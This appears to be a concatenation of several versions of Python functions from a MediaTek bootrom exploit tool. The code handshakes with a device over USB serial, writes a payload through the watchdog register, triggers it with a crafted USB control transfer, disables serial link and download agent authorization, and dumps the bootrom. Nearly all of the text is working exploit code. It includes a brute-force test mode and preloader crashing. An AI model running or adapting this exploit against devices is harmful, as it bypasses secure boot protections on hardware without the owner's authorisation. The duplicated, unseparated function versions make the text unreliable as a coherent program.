def exploit(device, watchdog_address, payload_address, var_0, var_1, payload): addr = watchdog_address + 0x50 device.write32(addr, from_bytes(to_bytes(payload_address, 4), 4, '<')) if var_0: readl = var_0 + 0x4 device.read32(addr - var_0, readl // 4) else: cnt = 15 for i in range(cnt): device.read32(addr - (cnt - i) * 4, cnt - i + 1) # replace watchdog_address in generic payload payload = bytearray(payload) if from_bytes(payload[-4:], 4, '<') == 0x10007000: payload[-4:] = to_bytes(watchdog_address, 4, '<') payload = bytes(payload) while len(payload) % 4 != 0: payload += to_bytes(0) if len(payload) >= 0xA00: raise RuntimeError("payload too large") device.echo(0xE0) device.echo(len(payload), 4) # clear 2 bytes device.read(2) device.write(payload) # clear 4 bytes device.read(4) udev = usb.core.find(idVendor=0x0E8D, idProduct=0x3) try: # noinspection PyProtectedMember udev._ctx.managed_claim_interface = lambda *args, **kwargs: None except AttributeError as e: raise RuntimeError("libusb is not installed for port {}".format( device.dev.port)) from e try: udev.ctrl_transfer(0xA1, 0, 0, var_1, 0) except usb.core.USBError as e: print(e) # We don't need to wait long, if we succeeded device.dev.timeout = 1 try: pattern = device.read(4) except SerialException as e: print(e) return False return pattern
def handshake(self): self.write(0xA0) self.check(self.read(1), to_bytes(0x5F)) self.write(0x0A) self.check(self.read(1), to_bytes(0xF5)) self.write(0x50) self.check(self.read(1), to_bytes(0xAF)) self.write(0x05) self.check(self.read(1), to_bytes(0xFA))
def exploit(device, watchdog_address, var_0, var_1, payload): addr = watchdog_address + 0x50 device.write32(addr, [0xA1000]) # 0x00100A00 if var_0: readl = var_0 + 0x4 device.read32(addr - var_0, readl // 4) else: cnt = 15 for i in range(cnt): device.read32(addr - (cnt - i) * 4, cnt - i + 1) device.echo(0xE0) payload = payload.read() while len(payload) % 4 != 0: payload += to_bytes(0) device.echo(len(payload), 4) # clear 2 bytes device.read(2) if len(payload) >= 0xA00: raise RuntimeError("payload too large") device.write(payload) # clear 4 bytes device.read(4) udev = usb.core.find(idVendor=0x0E8D, idProduct=0x3) try: # noinspection PyProtectedMember udev._ctx.managed_claim_interface = lambda *args, **kwargs: None except AttributeError as e: raise RuntimeError("libusb is not installed for port {}".format( device.dev.port)) from e try: udev.ctrl_transfer(0xA1, 0, 0, var_1, 0) except usb.core.USBError as e: print(e) pattern = device.read(4) if pattern != to_bytes(0xA1A2A3A4, 4): raise RuntimeError("received {} instead of expected pattern".format( pattern.hex()))
def prepare_payload(config): with open(PAYLOAD_DIR + config.payload, "rb") as payload: payload = payload.read() # replace watchdog_address and uart_base in generic payload payload = bytearray(payload) if from_bytes(payload[-4:], 4, '<') == 0x10007000: payload[-4:] = to_bytes(config.watchdog_address, 4, '<') if from_bytes(payload[-8:][:4], 4, '<') == 0x11002000: payload[-8:] = to_bytes(config.uart_base, 4, '<') + payload[-4:] payload = bytes(payload) while len(payload) % 4 != 0: payload += to_bytes(0) return payload
def write32(self, addr, words, check_status=True): # support scalar if not isinstance(words, list): words = [words] self.echo(0xD4) self.echo(addr, 4) self.echo(len(words), 4) self.check(self.dev.read(2), to_bytes(1, 2)) # arg check for word in words: self.echo(word, 4) if check_status: self.check(self.dev.read(2), to_bytes(1, 2)) # status
def read32(self, addr, size=1): result = [] self.echo(0xD1) self.echo(addr, 4) self.echo(size, 4) self.check(self.dev.read(2), to_bytes(0, 2)) # arg check for _ in range(size): data = from_bytes(self.dev.read(4), 4) result.append(data) self.check(self.dev.read(2), to_bytes(0, 2)) # status # support scalar if len(result) == 1: return result[0] else: return result
def handshake(self): while True: self.write(0xA0) if self.read(1) == to_bytes(0x5F): self.dev.flushInput() self.dev.flushOutput() break self.dev.flushInput() self.dev.flushOutput() #self.write(0xA0) #self.check(self.read(1), to_bytes(0x5F)) self.write(0x0A) self.check(self.read(1), to_bytes(0xF5)) self.write(0x50) self.check(self.read(1), to_bytes(0xAF)) self.write(0x05) self.check(self.read(1), to_bytes(0xFA))
def exploit(device, watchdog_address, payload_address, var_0, var_1, payload): addr = watchdog_address + 0x50 device.write32(addr, from_bytes(to_bytes(payload_address, 4), 4, '<')) if var_0: readl = var_0 + 0x4 device.read32(addr - var_0, readl // 4) else: cnt = 15 for i in range(cnt): device.read32(addr - (cnt - i) * 4, cnt - i + 1) device.echo(0xE0) device.echo(len(payload), 4) status = device.read(2) if from_bytes(status, 2) != 0: raise RuntimeError("status is {}".format(status.hex())) device.write(payload) # clear 4 bytes device.read(4) udev = usb.core.find(idVendor=0x0E8D, idProduct=0x3) try: # noinspection PyProtectedMember udev._ctx.managed_claim_interface = lambda *args, **kwargs: None except AttributeError as e: raise RuntimeError("libusb is not installed for port {}".format( device.dev.port)) from e try: udev.ctrl_transfer(0xA1, 0, 0, var_1, 0) except usb.core.USBError as e: print(e) # We don't need to wait long, if we succeeded # noinspection PyBroadException try: device.dev.timeout = 1 except Exception: pass try: pattern = device.read(4) except SerialException as e: print(e) return False return pattern
def exploit(device, watchdog_address, var_0, var_1, payload): addr = watchdog_address + 0x50 device.write32(addr, [0xA1000]) # 0x00100A00 readl = var_0 + 0x4 device.read32(addr - var_0, readl // 4) device.write32(addr, 0) device.echo(0xE0) payload = open(payload, "rb").read() while len(payload) % 4 != 0: payload += to_bytes(0) device.echo(len(payload), 4) # clear 2 bytes device.read(2) if len(payload) >= 0xA00: raise RuntimeError("payload too large") device.write(payload) # clear 4 bytes device.read(4) udev = usb.core.find(idVendor=0x0e8d, idProduct=0x3) # noinspection PyProtectedMember udev._ctx.managed_claim_interface = lambda *args, **kwargs: None try: udev.ctrl_transfer(0xA1, 0, 0, var_1, 0) except usb.core.USBError as e: print(e) pattern = device.read(4) if pattern != to_bytes(0xA1A2A3A4, 4): raise RuntimeError("received {} instead of expected pattern".format( pattern.hex()))
def main(): parser = argparse.ArgumentParser() parser.add_argument("-c", "--config", help="Device config") parser.add_argument("-t", "--test", help="Testmode", action="store_true") parser.add_argument("-w", "--watchdog", help="Watchdog address(in hex) for testmode") parser.add_argument("-v", "--var_1", help="var_1 value(in hex) for testmode") parser.add_argument("-p", "--payload_address", help="payload_address value(in hex) for testmode") arguments = parser.parse_args() if arguments.config: if not os.path.exists(arguments.config): raise RuntimeError("Config file {} doesn't exist".format(arguments.config)) elif not os.path.exists(DEFAULT_CONFIG): raise RuntimeError("Default config is missing") device = Device().find() device.handshake() hw_code = device.get_hw_code() hw_sub_code, hw_ver, sw_ver = device.get_hw_dict() secure_boot, serial_link_authorization, download_agent_authorization = device.get_target_config() if arguments.config: config_file = open(arguments.config) config = Config().from_file(config_file, hw_code) config_file.close() else: try: config = Config().default(hw_code) except NotImplementedError as e: if arguments.test: config = Config() if arguments.var_1: config.var_1 = int(arguments.var_1, 16) if arguments.watchdog: config.watchdog_address = int(arguments.watchdog, 16) if arguments.payload_address: config.payload_address = int(arguments.payload_address, 16) config.payload = "generic_dump_payload.bin" log(e) else: raise e if not os.path.exists(PAYLOAD_DIR + config.payload): raise RuntimeError("Payload file {} doesn't exist".format(PAYLOAD_DIR + config.payload)) print() log("Device hw code: {}".format(hex(hw_code))) log("Device hw sub code: {}".format(hex(hw_sub_code))) log("Device hw version: {}".format(hex(hw_ver))) log("Device sw version: {}".format(hex(sw_ver))) log("Device secure boot: {}".format(secure_boot)) log("Device serial link authorization: {}".format(serial_link_authorization)) log("Device download agent authorization: {}".format(download_agent_authorization)) print() log("Disabling watchdog timer") device.write32(config.watchdog_address, 0x22000064) if serial_link_authorization or download_agent_authorization: log("Disabling protection") with open(PAYLOAD_DIR + config.payload, "rb") as payload: payload = payload.read() result = exploit(device, config.watchdog_address, config.payload_address, config.var_0, config.var_1, payload) if arguments.test: while not result: config.var_1 += 1 log("Test mode, testing " + hex(config.var_1) + "...") device = Device().find() device.handshake() result = exploit(device, config.watchdog_address, config.payload_address, config.var_0, config.var_1, payload) bootrom__name = "bootrom_" + hex(hw_code)[2:] + ".bin" if result == to_bytes(0xA1A2A3A4, 4): log("Protection disabled") elif result == to_bytes(0xC1C2C3C4, 4): dump_brom(device, bootrom__name) elif result == to_bytes(0x0000C1C2, 4) and device.read(4) == to_bytes(0xC1C2C3C4, 4): dump_brom(device, bootrom__name, True)
def write(self, data, size=1): if type(data) != bytes: data = to_bytes(data, size) self.dev.write(data)
def main(): parser = argparse.ArgumentParser() parser.add_argument("-c", "--config", help="Device config") parser.add_argument("-t", "--test", help="Testmode", action="store_true") parser.add_argument("-w", "--watchdog", help="Watchdog address(in hex)") parser.add_argument("-u", "--uart", help="UART base address(in hex)") parser.add_argument("-v", "--var_1", help="var_1 value(in hex)") parser.add_argument("-a", "--payload_address", help="payload_address value(in hex)") parser.add_argument("-p", "--payload", help="Payload to use") parser.add_argument("-s", "--serial_port", help="Connect to existing serial port") parser.add_argument("-f", "--force", help="Force exploit on insecure device", action="store_true") parser.add_argument("-n", "--no_handshake", help="Skip handshake", action="store_true") parser.add_argument("-m", "--crash_method", help="Method to use for crashing preloader (0, 1, 2)", type=int) arguments = parser.parse_args() if arguments.config: if not os.path.exists(arguments.config): raise RuntimeError("Config file {} doesn't exist".format( arguments.config)) elif not os.path.exists(DEFAULT_CONFIG): raise RuntimeError("Default config is missing") if arguments.serial_port: device = Device(arguments.serial_port) else: device = Device().find() config, serial_link_authorization, download_agent_authorization, hw_code = get_device_info( device, arguments) while device.preloader: device = crash_preloader(device, config) config, serial_link_authorization, download_agent_authorization, hw_code = get_device_info( device, arguments) log("Disabling watchdog timer") device.write32(config.watchdog_address, 0x22000064) if serial_link_authorization or download_agent_authorization or arguments.force: log("Disabling protection") payload = prepare_payload(config) result = exploit(device, config.watchdog_address, config.payload_address, config.var_0, config.var_1, payload) if arguments.test: while not result: device.dev.close() config.var_1 += 1 log("Test mode, testing " + hex(config.var_1) + "...") device = Device().find() device.handshake() while device.preloader: device = crash_preloader(device, config) device.handshake() result = exploit(device, config.watchdog_address, config.payload_address, config.var_0, config.var_1, payload) else: log("Insecure device, sending payload using send_da") if not arguments.payload: config.payload = DEFAULT_PAYLOAD if not arguments.payload_address: config.payload_address = DEFAULT_DA_ADDRESS payload = prepare_payload(config) payload += b'\x00' * 0x100 device.send_da(config.payload_address, len(payload), 0x100, payload) device.jump_da(config.payload_address) result = device.read(4) bootrom__name = "bootrom_" + hex(hw_code)[2:] + ".bin" if result == to_bytes(0xA1A2A3A4, 4): log("Protection disabled") elif result == to_bytes(0xC1C2C3C4, 4): dump_brom(device, bootrom__name) elif result == to_bytes(0x0000C1C2, 4) and device.read(4) == to_bytes( 0xC1C2C3C4, 4): dump_brom(device, bootrom__name, True) elif result != b'': raise RuntimeError("Unexpected result {}".format(result.hex())) else: log("Payload did not reply")
def main(): parser = argparse.ArgumentParser() parser.add_argument("-c", "--config", help="Device config") parser.add_argument("-t", "--test", help="Testmode", action="store_true") parser.add_argument("-w", "--watchdog", help="Watchdog address(in hex)") parser.add_argument("-u", "--uart", help="UART base address(in hex)") parser.add_argument("-v", "--var_1", help="var_1 value(in hex)") parser.add_argument("-a", "--payload_address", help="payload_address value(in hex)") parser.add_argument("-p", "--payload", help="Payload to use") parser.add_argument("-s", "--serial_port", help="Connect to existing serial port") parser.add_argument("-f", "--force", help="Force exploit on insecure device", action="store_true") parser.add_argument("-n", "--no_handshake", help="Skip handshake", action="store_true") arguments = parser.parse_args() if arguments.config: if not os.path.exists(arguments.config): raise RuntimeError("Config file {} doesn't exist".format( arguments.config)) elif not os.path.exists(DEFAULT_CONFIG): raise RuntimeError("Default config is missing") if arguments.serial_port: device = Device(arguments.serial_port) else: device = Device().find() if not arguments.no_handshake: device.handshake() hw_code = device.get_hw_code() hw_sub_code, hw_ver, sw_ver = device.get_hw_dict() secure_boot, serial_link_authorization, download_agent_authorization = device.get_target_config( ) if arguments.config: config_file = open(arguments.config) config = Config().from_file(config_file, hw_code) config_file.close() else: try: config = Config().default(hw_code) except NotImplementedError as e: if arguments.test: config = Config() log(e) else: raise e if arguments.test: config.payload = DEFAULT_PAYLOAD if arguments.var_1: config.var_1 = int(arguments.var_1, 16) if arguments.watchdog: config.watchdog_address = int(arguments.watchdog, 16) if arguments.uart: config.uart_base = int(arguments.uart, 16) if arguments.payload_address: config.payload_address = int(arguments.payload_address, 16) if arguments.payload: config.payload = arguments.payload if not os.path.exists(PAYLOAD_DIR + config.payload): raise RuntimeError( "Payload file {} doesn't exist".format(PAYLOAD_DIR + config.payload)) print() log("Device hw code: {}".format(hex(hw_code))) log("Device hw sub code: {}".format(hex(hw_sub_code))) log("Device hw version: {}".format(hex(hw_ver))) log("Device sw version: {}".format(hex(sw_ver))) log("Device secure boot: {}".format(secure_boot)) log("Device serial link authorization: {}".format( serial_link_authorization)) log("Device download agent authorization: {}".format( download_agent_authorization)) print() log("Disabling watchdog timer") device.write32(config.watchdog_address, 0x22000064) if serial_link_authorization or download_agent_authorization or arguments.force: log("Disabling protection") payload = prepare_payload(config) result = exploit(device, config.watchdog_address, config.payload_address, config.var_0, config.var_1, payload) if arguments.test: while not result: device.dev.close() config.var_1 += 1 log("Test mode, testing " + hex(config.var_1) + "...") device = Device().find() device.handshake() result = exploit(device, config.watchdog_address, config.payload_address, config.var_0, config.var_1, payload) else: log("Insecure device, sending payload using send_da") if not arguments.payload: config.payload = DEFAULT_PAYLOAD if not arguments.payload_address: config.payload_address = DEFAULT_DA_ADDRESS payload = prepare_payload(config) payload += b'\x00' * 0x100 device.send_da(config.payload_address, len(payload), 0x100, payload) device.jump_da(config.payload_address) result = device.read(4) bootrom__name = "bootrom_" + hex(hw_code)[2:] + ".bin" if result == to_bytes(0xA1A2A3A4, 4): log("Protection disabled") elif result == to_bytes(0xC1C2C3C4, 4): dump_brom(device, bootrom__name) elif result == to_bytes(0x0000C1C2, 4) and device.read(4) == to_bytes( 0xC1C2C3C4, 4): dump_brom(device, bootrom__name, True) elif result != b'': raise RuntimeError("Unexpected result {}".format(result.hex())) else: log("Payload did not reply")